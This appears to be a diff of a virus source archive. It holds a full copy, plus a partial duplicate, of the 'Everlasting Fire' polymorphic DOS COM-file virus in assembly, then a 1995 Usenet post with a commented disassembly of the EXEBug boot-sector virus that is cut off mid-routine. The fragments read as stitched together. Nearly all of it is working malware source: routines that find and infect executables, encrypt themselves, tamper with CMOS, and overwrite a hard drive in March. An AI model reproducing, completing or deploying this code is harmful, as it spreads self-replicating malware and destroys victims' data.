||||
Pop Ax
|
||||
Push Bx
|
||||
Ret
|
||||
|
||||
Found: Mov Ax,4300h
|
||||
Mov Dx,0f91eh
|
||||
Int 21h
|
||||
|
||||
Push Cx
|
||||
Mov Ax,4301h
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
|
||||
Mov Ax,3d02h
|
||||
Int 21h
|
||||
Mov Bx,5700h
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Push Cx
|
||||
Push Dx
|
||||
And Cx,1fh
|
||||
Cmp Cx,1
|
||||
Jne CheckExe
|
||||
Jmp ExeFile
|
||||
|
||||
CheckExe: Mov Ah,3fh
|
||||
Lea Dx,OrgPrg[BP]
|
||||
Mov Cx,3
|
||||
Int 21h
|
||||
Mov Ax,Cs:[OrgPrg][BP]
|
||||
Cmp Ax,'MZ'
|
||||
Je ExeFile
|
||||
Cmp Ax,'ZM'
|
||||
Je ExeFile
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
And Cx,0ffe0h
|
||||
Or Cx,1
|
||||
Push Cx
|
||||
Push Dx
|
||||
|
||||
Infect:
|
||||
Mov Ax,4202h
|
||||
Call FSeek
|
||||
Sub Ax,3
|
||||
Mov Cs:CallPtr[BP]+1,Ax
|
||||
Add Ax,Offset Crypt
|
||||
Mov S_1[Bp+1],Ax
|
||||
Mov S_2[Bp+1],Ax
|
||||
Mov S_3[Bp+4],Ax
|
||||
Mov S_4[Bp+4],Ax
|
||||
Call GenPoly
|
||||
|
||||
Mov Ah,40h
|
||||
Lea Dx,0fa00h
|
||||
Mov Cx,VirLen
|
||||
Int 21h
|
||||
Mov Ax,4200h
|
||||
Call FSeek
|
||||
Mov Ah,40h
|
||||
Lea Dx,CallPtr[BP]
|
||||
Mov Cx,3
|
||||
Int 21h
|
||||
Call Close
|
||||
Jmp Ready
|
||||
|
||||
|
||||
ExeFile: Call Close
|
||||
Mov Ah,4fh
|
||||
Jmp Search
|
||||
FSeek: Xor Cx,Cx
|
||||
Xor Dx,Dx
|
||||
Int 21h
|
||||
Ret
|
||||
|
||||
Close: Pop Si
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Mov Ax,5701h
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ax,4301h
|
||||
Pop Cx
|
||||
Mov Dx,0fc1eh
|
||||
Int 21h
|
||||
Push Si
|
||||
Ret
|
||||
|
||||
Db 13,10,'Mourners of a dying world'
|
||||
Db 13,10,'Too late to reconcile'
|
||||
Db 13,10,'Into Everlasting Fire'
|
||||
Db 13,10,'Can''t you see it''s Satan''s world'
|
||||
|
||||
GenPoly: Xor Byte Ptr [Loopje][Bp],2
|
||||
Xor Ax,Ax
|
||||
Mov Es,Ax
|
||||
Mov Ax,Es:[46ch]
|
||||
; Xor Ax,Ax ; DEZE ERUIT!!!
|
||||
Mov Es,Cs
|
||||
Push Ax
|
||||
And Ax,07ffh
|
||||
Add Ax,CryptLen
|
||||
Mov S_1[Bp+4],Ax
|
||||
Mov S_2[Bp+4],Ax
|
||||
Mov S_3[Bp+1],Ax
|
||||
Mov S_4[Bp+1],Ax
|
||||
Doit: Pop Ax
|
||||
Push Ax
|
||||
And Ax,3
|
||||
Shl Ax,1
|
||||
Mov Si,Ax
|
||||
Mov Ax,Word Ptr Table[Si][Bp]
|
||||
Add Ax,Bp
|
||||
Mov Si,Ax
|
||||
Lea Di,Instr[Bp]
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Pop Ax
|
||||
Stosb
|
||||
Movsb
|
||||
Mov Dl,Al
|
||||
Lea Si,Decr[BP]
|
||||
Mov Di,0fa00h
|
||||
Mov Cx,DecrLen
|
||||
Rep Movsb
|
||||
Lea Si,Crypt[BP]
|
||||
Mov Cx,CryptLen
|
||||
Encrypt: Lodsb
|
||||
Xor Al,Dl
|
||||
Stosb
|
||||
Loop Encrypt
|
||||
Cmp Dl,0
|
||||
Je Fuckit
|
||||
Ret
|
||||
|
||||
FuckIt: Lea Si,Encr0
|
||||
Mov Di,0fa00h
|
||||
Mov Cx,Encr0Len
|
||||
Rep Movsb
|
||||
Mov Ax,Cs:CallPtr[BP]+1
|
||||
Add Ax,Encr0Len+2
|
||||
Mov Cs:CallPtr[BP]+1,Ax
|
||||
Ret
|
||||
|
||||
DB 'TRIDENT'
|
||||
|
||||
Table DW Offset S_1
|
||||
DW Offset S_2
|
||||
DW Offset S_3
|
||||
DW Offset S_4
|
||||
|
||||
S_1: Lea Si,0
|
||||
Mov Cx,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_2: Lea Di,0
|
||||
Mov Cx,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
S_3: Mov Cx,0
|
||||
Lea Si,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_4: Mov Cx,0
|
||||
Lea Di,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
|
||||
Encr0 Db 'John Tardy'
|
||||
Encr0Len Equ $-Encr0
|
||||
|
||||
CallPtr Db 0e9h,0,0
|
||||
|
||||
FileSpec Db '*.CoM',0
|
||||
|
||||
OrgPrg: Int 20h
|
||||
Db '!'
|
||||
|
||||
CryptLen Equ $-Crypt
|
||||
|
||||
VirLen Equ $-Decr
|
||||
|
||||
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
@ -0,0 +1,231 @@
|
|||
;
|
||||
; Everlasting Fire Virus by John Tardy
|
||||
;
|
||||
|
||||
Org 100h
|
||||
|
||||
Jump: Jmp Virus
|
||||
|
||||
Decr:
|
||||
Instr: db 'Generation'
|
||||
Loopje DB 0e2h
|
||||
db 0fah
|
||||
DecrLen Equ $-Decr
|
||||
Crypt:
|
||||
Virus: Push Ax
|
||||
Call GetOfs
|
||||
GetOfs: Pop Ax
|
||||
Sub Ax,GetOfs
|
||||
Mov Bp,Ax
|
||||
|
||||
Lea Si,OrgPrg[BP]
|
||||
Mov Di,100h
|
||||
Movsw
|
||||
Movsb
|
||||
|
||||
Mov Ah,1ah
|
||||
Mov Dx,0f900h
|
||||
Int 21h
|
||||
|
||||
Mov Ah,4eh
|
||||
Search: Lea Dx,FileSpec[BP]
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
Jnc Found
|
||||
|
||||
Ready: Mov Ah,1ah
|
||||
Mov Dx,80h
|
||||
Int 21h
|
||||
|
||||
Mov Bx,100h
|
||||
Pop Ax
|
||||
Push Bx
|
||||
Ret
|
||||
|
||||
Found: Mov Ax,4300h
|
||||
Mov Dx,0f91eh
|
||||
Int 21h
|
||||
|
||||
Push Cx
|
||||
Mov Ax,4301h
|
||||
Xor Cx,Cx
|
||||
Int 21h
|
||||
|
||||
Mov Ax,3d02h
|
||||
Int 21h
|
||||
Mov Bx,5700h
|
||||
Xchg Ax,Bx
|
||||
Int 21h
|
||||
Push Cx
|
||||
Push Dx
|
||||
And Cx,1fh
|
||||
Cmp Cx,1
|
||||
Jne CheckExe
|
||||
Jmp ExeFile
|
||||
|
||||
CheckExe: Mov Ah,3fh
|
||||
Lea Dx,OrgPrg[BP]
|
||||
Mov Cx,3
|
||||
Int 21h
|
||||
Mov Ax,Cs:[OrgPrg][BP]
|
||||
Cmp Ax,'MZ'
|
||||
Je ExeFile
|
||||
Cmp Ax,'ZM'
|
||||
Je ExeFile
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
And Cx,0ffe0h
|
||||
Or Cx,1
|
||||
Push Cx
|
||||
Push Dx
|
||||
|
||||
Infect:
|
||||
Mov Ax,4202h
|
||||
Call FSeek
|
||||
Sub Ax,3
|
||||
Mov Cs:CallPtr[BP]+1,Ax
|
||||
Add Ax,Offset Crypt
|
||||
Mov S_1[Bp+1],Ax
|
||||
Mov S_2[Bp+1],Ax
|
||||
Mov S_3[Bp+4],Ax
|
||||
Mov S_4[Bp+4],Ax
|
||||
Call GenPoly
|
||||
|
||||
Mov Ah,40h
|
||||
Lea Dx,0fa00h
|
||||
Mov Cx,VirLen
|
||||
Int 21h
|
||||
Mov Ax,4200h
|
||||
Call FSeek
|
||||
Mov Ah,40h
|
||||
Lea Dx,CallPtr[BP]
|
||||
Mov Cx,3
|
||||
Int 21h
|
||||
Call Close
|
||||
Jmp Ready
|
||||
|
||||
|
||||
ExeFile: Call Close
|
||||
Mov Ah,4fh
|
||||
Jmp Search
|
||||
FSeek: Xor Cx,Cx
|
||||
Xor Dx,Dx
|
||||
Int 21h
|
||||
Ret
|
||||
|
||||
Close: Pop Si
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Mov Ax,5701h
|
||||
Int 21h
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
Mov Ax,4301h
|
||||
Pop Cx
|
||||
Mov Dx,0fc1eh
|
||||
Int 21h
|
||||
Push Si
|
||||
Ret
|
||||
|
||||
Db 13,10,'Mourners of a dying world'
|
||||
Db 13,10,'Too late to reconcile'
|
||||
Db 13,10,'Into Everlasting Fire'
|
||||
Db 13,10,'Can''t you see it''s Satan''s world'
|
||||
|
||||
GenPoly: Xor Byte Ptr [Loopje][Bp],2
|
||||
Xor Ax,Ax
|
||||
Mov Es,Ax
|
||||
Mov Ax,Es:[46ch]
|
||||
; Xor Ax,Ax ; DEZE ERUIT!!!
|
||||
Mov Es,Cs
|
||||
Push Ax
|
||||
And Ax,07ffh
|
||||
Add Ax,CryptLen
|
||||
Mov S_1[Bp+4],Ax
|
||||
Mov S_2[Bp+4],Ax
|
||||
Mov S_3[Bp+1],Ax
|
||||
Mov S_4[Bp+1],Ax
|
||||
Doit: Pop Ax
|
||||
Push Ax
|
||||
And Ax,3
|
||||
Shl Ax,1
|
||||
Mov Si,Ax
|
||||
Mov Ax,Word Ptr Table[Si][Bp]
|
||||
Add Ax,Bp
|
||||
Mov Si,Ax
|
||||
Lea Di,Instr[Bp]
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Movsw
|
||||
Pop Ax
|
||||
Stosb
|
||||
Movsb
|
||||
Mov Dl,Al
|
||||
Lea Si,Decr[BP]
|
||||
Mov Di,0fa00h
|
||||
Mov Cx,DecrLen
|
||||
Rep Movsb
|
||||
Lea Si,Crypt[BP]
|
||||
Mov Cx,CryptLen
|
||||
Encrypt: Lodsb
|
||||
Xor Al,Dl
|
||||
Stosb
|
||||
Loop Encrypt
|
||||
Cmp Dl,0
|
||||
Je Fuckit
|
||||
Ret
|
||||
|
||||
FuckIt: Lea Si,Encr0
|
||||
Mov Di,0fa00h
|
||||
Mov Cx,Encr0Len
|
||||
Rep Movsb
|
||||
Mov Ax,Cs:CallPtr[BP]+1
|
||||
Add Ax,Encr0Len+2
|
||||
Mov Cs:CallPtr[BP]+1,Ax
|
||||
Ret
|
||||
|
||||
DB 'TRIDENT'
|
||||
|
||||
Table DW Offset S_1
|
||||
DW Offset S_2
|
||||
DW Offset S_3
|
||||
DW Offset S_4
|
||||
|
||||
S_1: Lea Si,0
|
||||
Mov Cx,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_2: Lea Di,0
|
||||
Mov Cx,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
S_3: Mov Cx,0
|
||||
Lea Si,0
|
||||
DB 80h,34h
|
||||
Inc Si
|
||||
S_4: Mov Cx,0
|
||||
Lea Di,0
|
||||
DB 80h,35h
|
||||
Inc Di
|
||||
|
||||
Encr0 Db 'John Tardy'
|
||||
Encr0Len Equ $-Encr0
|
||||
|
||||
CallPtr Db 0e9h,0,0
|
||||
|
||||
FileSpec Db '*.CoM',0
|
||||
|
||||
OrgPrg: Int 20h
|
||||
Db '!'
|
||||
|
||||
CryptLen Equ $-Crypt
|
||||
|
||||
VirLen Equ $-Decr
|
||||
|
||||
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
@ -0,0 +1,673 @@
|
|||
From smtp Tue Feb 7 13:18 EST 1995
|
||||
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:18 EST
|
||||
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
|
||||
id NAA25457 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:20:39 -0500
|
||||
Date: Tue, 7 Feb 1995 13:20:39 -0500
|
||||
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
|
||||
Content-Length: 44201
|
||||
Content-Type: binary
|
||||
Message-Id: <199502071820.NAA25457@lynx.dac.neu.edu>
|
||||
To: pobox.jwu.edu!joshuaw
|
||||
Subject: (fwd) EXEBug
|
||||
Newsgroups: alt.comp.virus
|
||||
Status: O
|
||||
|
||||
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
|
||||
From: danishm@iia.org ()
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: EXEBug
|
||||
Date: 5 Feb 1995 22:08:52 GMT
|
||||
Organization: International Internet Association.
|
||||
Lines: 641
|
||||
Message-ID: <3h3i9k$v4@ankh.iia.org>
|
||||
NNTP-Posting-Host: iia.org
|
||||
X-Newsreader: TIN [version 1.2 PL2]
|
||||
|
||||
Here is the EXEBug virus:
|
||||
|
||||
;-------------------------------------------------------------------------
|
||||
.286p ; The EXEBUG2 Virus. This virus
|
||||
.model tiny ; infects diskette boot sectors and
|
||||
.code ; activates in March of any year,
|
||||
; destroying the hard drive. It
|
||||
ORG 0100h ; contains instructions for 80286+
|
||||
; processors.
|
||||
;---------------------------------------;---------------------------------
|
||||
; As of Apr 21st, this disassembly is ; Disassembled with Master Core
|
||||
; incomplete, as the test computer uses ; Disassembler: IQ Software
|
||||
; Disk Manager and can not be infected. ; Analyzed with Quaid Analyzer:
|
||||
; ; Quaid Software Ltd.
|
||||
;-------------------------------------------------------------------------
|
||||
; We are using an origin of 100h, so that this can be assembled with TASM
|
||||
; and linked with tlink /t. You will have a 512 byte .COM file which is
|
||||
; a byte-for-byte duplicate of the original boot sector. Note that 100h
|
||||
; must be subtracted from many of the offsets.
|
||||
;-------------------------------------------------------------------------
|
||||
;Offset Opcode |Comment
|
||||
;---------------------------------
|
||||
Boot_Start: ;00100 EB1C
|
||||
;---------------------------------
|
||||
JMP Short Change_RAM ; Boot sectors always begin with
|
||||
; a long jump (E9 XX XX) or a short
|
||||
; jump (EB XX 90)
|
||||
;---------------------------------
|
||||
NOP ;00102 90 |NOP for short jump
|
||||
;---------------------------------------; |
|
||||
; Data in Code Area ; |
|
||||
;---------------------------------------; |
|
||||
OEM DB "MSDOS5.0" ;00103 4D53444F|OEM name
|
||||
Byt_Sec DW 0200h ;0010B 0002 |Bytes per sector
|
||||
Sct_AlU DB 02h ;0010D 02 |Sectors per
|
||||
; | allocation unit
|
||||
RsvdSct DW 0001h ;0010E 0100 |Reserved sectors
|
||||
NumFATs DB 02h ;00110 02 |Number of FATs
|
||||
RootSiz DW 0070h ;00111 7000 |Number of root dir
|
||||
; | entries (112)
|
||||
TotSect DW 02D0h ;00113 D002 |Total sectors in
|
||||
; | volume (1440)
|
||||
MedDesc DB 0FDh ;00115 FD |Media descriptor
|
||||
; | byte:
|
||||
;---------------------------------
|
||||
; F8 = hard disk
|
||||
; F0 = 3«" 18 sector
|
||||
; F9 = 3«" 9 sector
|
||||
; F9 = 5¬" 15 sector
|
||||
; FC = 5¬" SS 9 sector
|
||||
; FD = 5¬" DS 9 sector
|
||||
; FE = 5¬" SS 8 sector
|
||||
; FF = 5¬: DS 8 sector
|
||||
;---------------------------------
|
||||
FATSect DW 0002h ;00116 0200 |Sectors per FAT
|
||||
Sct_Trk DW 0009h ;00118 0900 |Sectors per track
|
||||
NumHead DW 0002h ;0011A 0200 |Number of heads
|
||||
aDrvNum DW 0000h ;0011C 0000 |Drive number (0=A:)
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
Change_RAM: ; |
|
||||
; |
|
||||
XOR AX,AX ;0011E 33C0 |Zero register
|
||||
MOV DS,AX ;00120 8ED8 |DS = 0000
|
||||
MOV DI,AX ;00122 8BF8 |DI = 0000
|
||||
MOV SS,AX ;00124 8ED0 |SS = 0000
|
||||
MOV SP,7C00h ;00126 BC007C |SP = 7C00
|
||||
;---------------------------------
|
||||
; Get RAM size (usually 64*10 K)
|
||||
; and put it in register AX.
|
||||
Get_RAM_Size: ;---------------------------------
|
||||
; |
|
||||
MOV AX,Word Ptr DS:[0413h] ;00129 A11304 |0000:0413 holds
|
||||
; | RAM size
|
||||
MOV CX,0106h ;0012C B90601 |This does two things:
|
||||
; |it sets up a MOVSW,
|
||||
; |and it puts a 6 in
|
||||
; |CL for the SAL,CL
|
||||
DEC AX ;0012F 48 |Steal 1K of RAM
|
||||
; | (decrease RAM size)
|
||||
MOV SI,SP ;00130 8BF4 |SI is 7C00. Use to
|
||||
; | move boot sector
|
||||
; | in Copy_Boot routine.
|
||||
;---------------------------------
|
||||
; RAM size is now 1K less; put it
|
||||
; in DS:0413h (RAMsize)
|
||||
Put_RAM_Size: ;---------------------------------
|
||||
; |
|
||||
MOV Word Ptr DS:[0413h],AX ;00132 A31304 |Put the new RAM
|
||||
; | size back in [0413]
|
||||
SAL AX,CL ;00135 D3E0 |Convert to paragraphs
|
||||
;-------------------------------------------------------------------------
|
||||
; AX now holds the SEGMENT of the new Int 13 service routine at TOM - 1K.
|
||||
; Next operation exchanges this with the old Int 13 segment stored at 0000:004E.
|
||||
;-------------------------------------------------------------------------
|
||||
; |
|
||||
MOV ES,AX ;00137 8EC0 |ES = new area SEGMENT
|
||||
PUSH AX ;00139 50 |Save SEGMENT address
|
||||
; | on stack. Jump here
|
||||
; | at offset 0152.
|
||||
XCHG AX,DS:[004Eh] ;0013A 87064E00|Exchange new and old
|
||||
; | SEGMENTS
|
||||
;---------------------------------
|
||||
|
||||
MOV Word Ptr DS:[7C00h+offset I13_Seg - 100h],AX
|
||||
|
||||
;---------------------------------
|
||||
;0013E A3B87C |This really should be:
|
||||
; |[7C00h+offset I13_Seg],
|
||||
; |but we use an ORG of
|
||||
; |100h here.
|
||||
; <Store old SEGMENT at 7CB8>
|
||||
;---------------------------------
|
||||
|
||||
MOV AX,offset New_Int13_ISR - 100h
|
||||
|
||||
;---------------------------------
|
||||
;00141 B83201 |Likewise the offset
|
||||
; |of the new Int 13
|
||||
; |service routine is
|
||||
; |decremented by 100h
|
||||
;------------------------------------------------------------------------
|
||||
; AX now holds the OFFSET of the new Int 13 service routine, which is
|
||||
; in our code at offset 232h. Next operation exchanges this with the
|
||||
; the offset stored at 0000:004C.
|
||||
;------------------------------------------------------------------------
|
||||
; |
|
||||
XCHG AX,DS:[004Ch] ;00144 87064C00|Exchange new and old
|
||||
; | OFFSETS
|
||||
;---------------------------------
|
||||
|
||||
MOV Word Ptr DS:[7C00h+offset I13_Off - 100h],AX
|
||||
|
||||
;---------------------------------
|
||||
;00148 A3B67C |Again, decrement by
|
||||
; | 100h to compensate
|
||||
; | for ORG 100h
|
||||
; <Store old OFFSET at 7CB6>
|
||||
;---------------------------------
|
||||
|
||||
MOV AX,[offset Activation - 100h]
|
||||
|
||||
;---------------------------------
|
||||
;0014B B89900 |Move offset of
|
||||
; |Activation routine
|
||||
; |to AX.
|
||||
PUSH AX ;0014E 50 |Push the Activation
|
||||
; |address, and then
|
||||
; |use that as the
|
||||
; |OFFSET when we RETF
|
||||
; |at offset 0152.
|
||||
Copy_Boot: ;---------------------------------
|
||||
; |
|
||||
CLD ;0014F FC |movsb will increment
|
||||
; |pointers cx=0106h
|
||||
; |ds=0000h sp=7C00h
|
||||
; |si=7C00h di=0000h
|
||||
; |Repeat until Zero
|
||||
; |Flag=0 or CX Times
|
||||
; |
|
||||
REP MOVSW ;00150 F3A5 |MOVE DS:SI TO ES:DI
|
||||
;---------------------------------
|
||||
; Move virus up to the memory we have
|
||||
; allocated, and set the INT handler.
|
||||
;---------------------------------
|
||||
; |
|
||||
RETF ;00152 CB |The segment and
|
||||
; |offset of the
|
||||
; |Activation routine
|
||||
; |were pushed on the
|
||||
; |stack previously, so
|
||||
; |a RETF jumps there
|
||||
; |(at top of memory)
|
||||
;>>>>>>>>>>>>>>>|JUMP TO ACTIVATION
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
DB 04h ;00153 04 |
|
||||
Drive DB 20h ;00154 20 |CMOS drive type (AH),
|
||||
; | is stored here.
|
||||
ChkSum DW 046Ch ;00155 6C04 |CMOS checksum (DX),
|
||||
; | is stored here.
|
||||
Install DB 01h ;00157 01 |This byte is checked
|
||||
; | at offset 294. It is
|
||||
; | used for the value
|
||||
; | of CX when the boot
|
||||
; | record is written
|
||||
; | (starting sector)
|
||||
; | Values are 1 or 11h.
|
||||
;-------------------------------------------------------------------------
|
||||
; The code (or is it data?) below from offsets 0158 to 0198 is not analyzed,
|
||||
; as I could not get an infection on the test computer.
|
||||
;-------------------------------------------------------------------------
|
||||
SUB [BX+SI],CH ;00158 2828 |
|
||||
ADD [BX+DI],AL ;0015A 0001 |
|
||||
ADD AL,[BP+1Eh] ;0015C 02461E
|
||||
; ADD AL,[BP+offset Change_RAM-100h]
|
||||
PUSH CX ;0015F 51 |
|
||||
MOV DL,65h ;00160 B265 |
|
||||
MOV DI,DX ;00162 8BFA |
|
||||
DEC AL ;00164 FEC8 |
|
||||
STOSW ;00166 AB |STORE Word STRING
|
||||
; | FROM AX
|
||||
ADD DI,+04h ;00167 83C704 |
|
||||
XOR AL,0C0h ;0016A 34C0 |
|
||||
STOSW ;0016C AB |
|
||||
MOV CL,0Bh ;0016D B10B |cl=0Bh dl=65h
|
||||
REP STOSB ;0016F F3AA |STORE 0Bh Bytes
|
||||
; | STRING FROM AL
|
||||
MOV CL,13h ;00171 B113 |
|
||||
MOV BH,03h ;00173 B703 |
|
||||
CALL $-170h ;00175 E88DFE |This calls offset
|
||||
; |7B05 in this segment.
|
||||
MOV AH,13h ;00178 B413 |
|
||||
INT 2Fh ;0017A CD2F |Get & set DOS disk
|
||||
; |int handler
|
||||
; |ds:dx=new handler,
|
||||
; |es:bx=old
|
||||
MOV CS:[01B8h],DS ;0017C 2E8C1E |
|
||||
; B801 |
|
||||
; |
|
||||
MOV CX,DX ;00181 8BCA |
|
||||
INT 2Fh ;00183 CD2F |Set it again
|
||||
MOV DS:[01B6h],CX ;00185 890EB601|
|
||||
CMP CL,32h ;00189 80F932 |
|
||||
JZ H0000_0198 ;0018C 740A |Return if CL=32h
|
||||
MOV CX,CS ;0018E 8CC9 |
|
||||
ADD CX,+10h ;00190 83C110 |
|
||||
PUSH CX ;00193 51 |
|
||||
MOV AX,00FDh ;00194 B8FD00 |
|
||||
PUSH AX ;00197 50 |
|
||||
; |
|
||||
H0000_0198: ;---------------------------------
|
||||
; |
|
||||
RETF ;00198 CB |
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
Activation: ; |
|
||||
; |
|
||||
CALL Main_Routine ;00199 E86800 |
|
||||
MOV AH,04h ;0019C B404 |AH=4 (get date)
|
||||
INT 1Ah ;0019E CD1A |Get date
|
||||
; |CX=year, DX=mon/day
|
||||
CMP DH,03h ;001A0 80FE03 |Is it month #3
|
||||
JZ Damage ;001A3 7402 |If it is March,
|
||||
; | do damage
|
||||
INT 19h ;001A5 CD19 |Otherwise reboot
|
||||
; | with virus resident
|
||||
; | and Int 13 hooked
|
||||
;---------------------------------------;---------------------------------
|
||||
; Set up Int 13 call from the new
|
||||
Damage: ; ISR at I13_Seg:I13_Off.
|
||||
;---------------------------------
|
||||
MOV AL,0FFh ;001A7 B0FF |
|
||||
OUT 21h,AL ;001A9 E621 |Turn off IRQs
|
||||
MOV DX,0080h ;001AB BA8000 |DH = head # (0),
|
||||
; |DL = drive #
|
||||
; | (+80 for hd)
|
||||
MOV CX,0101h ;001AE B90101 |CH = cylinder #,
|
||||
; |CL = sector #
|
||||
Trash_HardDrive: ;---------------------------------
|
||||
; |
|
||||
MOV AX,0311h ;001B1 B81103 |AH = function 03
|
||||
; | (write sectors)
|
||||
; |AL = # of sectors
|
||||
PUSHF ;001B4 9C |Push flags: normally
|
||||
; | done prior to
|
||||
; | interrupt.
|
||||
FarCall DB 9Ah ;001B5 9A |Call the Int 13
|
||||
; | service routine
|
||||
I13_Off DW 0AB1Bh ;001B6 1BAB |(real) Int 13 offset
|
||||
I13_Seg DW 0F000h ;001B8 00F0 |(real) Int 13 segment
|
||||
INC DH ;001BA FEC6 |Next head
|
||||
AND DH,07h ;001BC 80E607 |Test bits 0-3 of DH,
|
||||
; | clear 4-7
|
||||
JNZ Trash_HardDrive ;001BF 75F0 |If #head > 7
|
||||
; |continue, else trash
|
||||
INC CH ;001C1 FEC5 |Next cylinder
|
||||
JNZ Trash_HardDrive ;001C3 75EC |If #cylinder > 255
|
||||
; | continue, else keep
|
||||
; | on trashing.
|
||||
ADD CL,40h ;001C5 80C140 |Set bits 6 and 7 of
|
||||
; | CL, enabling the
|
||||
; | entire drive to be
|
||||
; | overwritten (or at
|
||||
; |least 1024 cylinders)
|
||||
JMP Short Trash_HardDrive ;001C8 EBE7 |Only way out of this
|
||||
; | is a disk error, or
|
||||
; | power off.
|
||||
;--------------------------------------------------------------------------
|
||||
;At this point, it is important to
|
||||
Change_CMOS: ;know what the contents of DX is.
|
||||
; CMOS checksums are stored at
|
||||
; DS:0053 and DS:0055
|
||||
;--------------------------------------------------------------------------
|
||||
MOV AL,10h ;001CA B010 |Diskette type
|
||||
CALL CMOS_Read_Write ;001CC E80700 | SET DISKETTE TYPE
|
||||
MOV AL,2Fh ;001CF B02F |Hi checksum byte
|
||||
CALL CMOS_Read_Write ;001D1 E80200 | SET CHECKSUM: set
|
||||
; | to zero or restore
|
||||
MOV AL,2Eh ;001D4 B02E |Low checksum byte
|
||||
; | SET CHECKSUM: set
|
||||
; | to zero or restore
|
||||
CMOS_Read_Write: ;---------------------------------
|
||||
; |
|
||||
OUT 70h,AL ;001D6 E670 |Tell CMOS address
|
||||
; | to read (in AL)
|
||||
XCHG AH,DL ;001D8 86E2 |1st call: AH=DL=00
|
||||
; |2nd call: AH=DL=00
|
||||
; |3rd call: AH=20,DL=00
|
||||
; |4th call: AH=5F,DL=00
|
||||
; |5th call: AH=02,DL=5F
|
||||
; |6th call: AH=00,DL=02
|
||||
; |
|
||||
XCHG DL,DH ;001DA 86D6 |1st call: DH=DL=00
|
||||
; |2nd call: DH=00,DL=20
|
||||
; |3rd call: DH=00,DL=7F
|
||||
; |4th call: DH=00,DL=02
|
||||
; |5th call: DH=5F,DL=00
|
||||
; |6th call: DH=02,DL=00
|
||||
; |
|
||||
IN AL,71h ;001DC E471 |Read CMOS to AL
|
||||
; |1st call: AL=20
|
||||
; |2nd call: AL=7F
|
||||
; |3rd call: AL=02
|
||||
; |4th call: AL=00
|
||||
; |5th call: AL=00
|
||||
; |6th call: AL=00
|
||||
; |
|
||||
XCHG DH,AL ;001DE 86F0 |Trade AL <-> DH
|
||||
; |1st call: DH=20,AL=00
|
||||
; |2nd call: DH=7F,AL=00
|
||||
; |3rd call: DH=02,AL=00
|
||||
; |4th call: DH=00,AL=00
|
||||
; |5th call: DH=00,AL=5F
|
||||
; |6th call: DH=00,AL=02
|
||||
; |
|
||||
OUT 71h,AL ;001E0 E671 |Write contents of
|
||||
; | AL to CMOS
|
||||
; |1st call: AL=00
|
||||
; |2nd call: AL=00
|
||||
; |3rd call: AL=00
|
||||
; |4th call: AL=00
|
||||
; |5th call: AL=5F
|
||||
; |6th call: AL=02
|
||||
; |
|
||||
RET ;001E2 C3 |Return to Call_CMOS
|
||||
;---------------------------------------;---------------------------------
|
||||
; |
|
||||
Setup_Int13: ; |
|
||||
; |
|
||||
MOV AX,0301h ;001E3 B80103 |Function #3: write
|
||||
; | (1) sector
|
||||
Real_Int13_2: ;---------------------------------
|
||||
; |
|
